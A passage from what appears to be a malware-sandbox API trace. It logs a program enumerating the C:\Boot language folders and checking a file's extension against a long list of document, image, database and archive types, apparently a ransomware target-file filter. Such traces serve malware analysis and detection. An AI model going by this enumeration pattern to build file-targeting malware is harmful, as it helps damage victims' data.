lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2e18 [0042.927] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.927] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.927] FindClose (in: hFindFile=0x7b2e18 | out: hFindFile=0x7b2e18) returned 1 [0042.927] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.927] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0042.928] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.928] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2e18 [0042.928] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.928] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.929] FindClose (in: hFindFile=0x7b2e18 | out: hFindFile=0x7b2e18) returned 1 [0042.929] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.929] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0042.929] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.929] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2e18 [0042.929] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.929] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.929] FindClose (in: hFindFile=0x7b2e18 | out: hFindFile=0x7b2e18) returned 1 [0042.929] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.929] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0042.929] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.929] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2e18 [0042.930] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.930] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.930] FindClose (in: hFindFile=0x7b2e18 | out: hFindFile=0x7b2e18) returned 1 [0042.930] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.930] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0042.930] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.930] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2e18 [0042.931] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.931] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.931] FindClose (in: hFindFile=0x7b2e18 | out: hFindFile=0x7b2e18) returned 1 [0042.931] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.931] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0042.931] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.931] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b52a0 [0042.959] FindNextFileW (in: hFindFile=0x7b52a0, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.962] FindNextFileW (in: hFindFile=0x7b52a0, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.964] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0042.964] lstrlenW (lpString=".1cd") returned 4 [0042.974] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0042.974] lstrlenW (lpString=".3ds") returned 4 [0042.974] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0042.974] lstrlenW (lpString=".3fr") returned 4 [0042.974] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0042.975] lstrlenW (lpString=".3g2") returned 4 [0042.975] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0042.975] lstrlenW (lpString=".3gp") returned 4 [0042.975] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0042.975] lstrlenW (lpString=".7z") returned 3 [0042.975] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0042.975] lstrlenW (lpString=".accda") returned 6 [0042.975] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0042.975] lstrlenW (lpString=".accdb") returned 6 [0042.976] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0042.977] lstrlenW (lpString=".accdc") returned 6 [0042.977] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0042.977] lstrlenW (lpString=".accde") returned 6 [0042.977] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0042.977] lstrlenW (lpString=".accdt") returned 6 [0042.977] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0042.977] lstrlenW (lpString=".accdw") returned 6 [0042.977] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0042.977] lstrlenW (lpString=".adb") returned 4 [0042.977] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0042.977] lstrlenW (lpString=".adp") returned 4 [0042.977] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0042.977] lstrlenW (lpString=".ai") returned 3 [0042.978] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0042.978] lstrlenW (lpString=".ai3") returned 4 [0042.978] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0042.978] lstrlenW (lpString=".ai4") returned 4 [0042.978] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0042.978] lstrlenW (lpString=".ai5") returned 4 [0042.978] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0042.978] lstrlenW (lpString=".ai6") returned 4 [0043.077] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0043.077] lstrlenW (lpString=".ai7") returned 4 [0043.077] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0043.077] lstrlenW (lpString=".ai8") returned 4 [0043.077] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0043.077] lstrlenW (lpString=".anim") returned 5 [0043.077] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0043.077] lstrlenW (lpString=".arw") returned 4 [0043.077] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0043.077] lstrlenW (lpString=".as") returned 3 [0043.077] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0043.077] lstrlenW (lpString=".asa") returned 4 [0043.077] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0043.077] lstrlenW (lpString=".asc") returned 4 [0043.077] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0043.077] lstrlenW (lpString=".ascx") returned 5 [0043.077] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0043.077] lstrlenW (lpString=".asm") returned 4 [0043.078] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0043.078] lstrlenW (lpString=".asmx") returned 5 [0043.078] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0043.078] lstrlenW (lpString=".asp") returned 4 [0043.078] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0043.078] lstrlenW (lpString=".aspx") returned 5 [0043.078] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0043.078] lstrlenW (lpString=".asr") returned 4 [0043.078] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0043.078] lstrlenW (lpString=".asx") returned 4 [0043.078] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0043.078] lstrlenW (lpString=".avi") returned 4 [0043.078] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0043.078] lstrlenW (lpString=".avs") returned 4 [0043.078] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0043.078] lstrlenW (lpString=".backup") returned 7 [0043.078] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0043.078] lstrlenW (lpString=".bak") returned 4 [0043.078] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0043.078] lstrlenW (lpString=".bay") returned 4 [0043.078] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0043.078] lstrlenW (lpString=".bd") returned 3 [0043.078] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0043.078] lstrlenW (lpString=".bin") returned 4 [0043.078] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0043.078] lstrlenW (lpString=".bmp") returned 4 [0043.078] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0043.078] lstrlenW (lpString=".bz2") returned 4 [0043.078] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.078] lstrlenW (lpString=".c") returned 2 [0043.078] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0043.078] lstrlenW (lpString=".cdr") returned 4 [0043.078] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0043.078] lstrlenW (lpString=".cer") returned 4 [0043.078] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0043.078] lstrlenW (lpString=".cf") returned 3 [0043.079] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0043.079] lstrlenW (lpString=".cfc") returned 4 [0043.079] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0043.079] lstrlenW (lpString=".cfm") returned 4 [0043.079] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0043.079] lstrlenW (lpString=".cfml") returned 5 [0043.079] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0043.079] lstrlenW (lpString=".cfu") returned 4 [0043.079] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0043.079] lstrlenW (lpString=".chm") returned 4 [0043.079] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0043.079] lstrlenW (lpString=".cin") returned 4 [0043.079] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0043.079] lstrlenW (lpString=".class") returned 6 [0043.079] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0043.079] lstrlenW (lpString=".clx") returned 4 [0043.079] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0043.079] lstrlenW (lpString=".config") returned 7 [0043.079] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0043.079] lstrlenW (lpString=".cpp") returned 4 [0043.079] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0043.079] lstrlenW (lpString=".cr2") returned 4 [0043.079] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0043.079] lstrlenW (lpString=".crt") returned 4 [0043.079] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0043.079] lstrlenW (lpString=".crw") returned 4 [0043.079] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0043.079] lstrlenW (lpString=".cs") returned 3 [0043.079] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0043.079] lstrlenW (lpString=".css") returned 4 [0043.079] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0043.079] lstrlenW (lpString=".csv") returned 4 [0043.079] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0043.079] lstrlenW (lpString=".cub") returned 4 [0043.079] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0043.079] lstrlenW (lpString=".dae") returned 4 [0043.080] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0043.080] lstrlenW (lpString=".dat") returned 4 [0043.080] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0043.080] lstrlenW (lpString=".db") returned 3 [0043.080] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0043.080] lstrlenW (lpString=".dbf") returned 4 [0043.080] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.080] lstrlenW (lpString=".dbx") returned 4 [0043.080] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0043.080] lstrlenW (lpString=".dc3") returned 4 [0043.080] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0043.080] lstrlenW (lpString=".dcm") returned 4 [0043.080] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0043.080] lstrlenW (lpString=".dcr") returned 4 [0043.080] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0043.080] lstrlenW (lpString=".der") returned 4 [0043.080] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0043.080] lstrlenW (lpString=".dib") returned 4 [0043.080] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0043.080] lstrlenW (lpString=".dic") returned 4 [0043.080] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0043.080] lstrlenW (lpString=".dif") returned 4 [0043.080] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0043.080] lstrlenW (lpString=".divx") returned 5 [0043.080] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0043.080] lstrlenW (lpString=".djvu") returned 5 [0043.080] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0043.080] lstrlenW (lpString=".dng") returned 4 [0043.080] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0043.080] lstrlenW (lpString=".doc") returned 4 [0043.080] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.080] lstrlenW (lpString=".docm") returned 5 [0043.080] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0043.080] lstrlenW (lpString=".docx") returned 5 [0043.080] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.080] lstrlenW (lpString=".dot") returned 4 [0043.081] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0043.081] lstrlenW (lpString=".dotm") returned 5 [0043.081] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0043.081] lstrlenW (lpString=".dotx") returned 5 [0043.081] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0043.081] lstrlenW (lpString=".dpx") returned 4 [0043.081] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0043.081] lstrlenW (lpString=".dqy") returned 4 [0043.081] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0043.081] lstrlenW (lpString=".dsn") returned 4 [0043.081] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0043.081] lstrlenW (lpString=".dt") returned 3 [0043.081] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0043.081] lstrlenW (lpString=".dtd") returned 4 [0043.081] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0043.081] lstrlenW (lpString=".dwg") returned 4 [0043.081] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0043.081] lstrlenW (lpString=".dwt") returned 4 [0043.081] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0043.081] lstrlenW (lpString=".dx") returned 3 [0043.081] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0043.081] lstrlenW (lpString=".dxf") returned 4 [0043.081] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0043.081] lstrlenW (lpString=".edml") returned 5 [0043.081] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0043.081] lstrlenW (lpString=".efd") returned 4 [0043.081] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0043.081] lstrlenW (lpString=".elf") returned 4 [0043.081] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0043.081] lstrlenW (lpString=".emf") returned 4 [0043.081] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0043.081] lstrlenW (lpString=".emz") returned 4 [0043.081] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0043.081] lstrlenW (lpString=".epf") returned 4 [0043.081] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0043.081] lstrlenW (lpString=".eps") returned 4 [0043.082] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0043.082] lstrlenW (lpString=".epsf") returned 5 [0043.082] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0043.082] lstrlenW (lpString=".epsp") returned 5 [0043.082] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0043.082] lstrlenW (lpString=".erf") returned 4 [0043.082] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0043.082] lstrlenW (lpString=".exr") returned 4 [0043.082] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0043.082] lstrlenW (lpString=".f4v") returned 4 [0043.082] lstrcmpiW 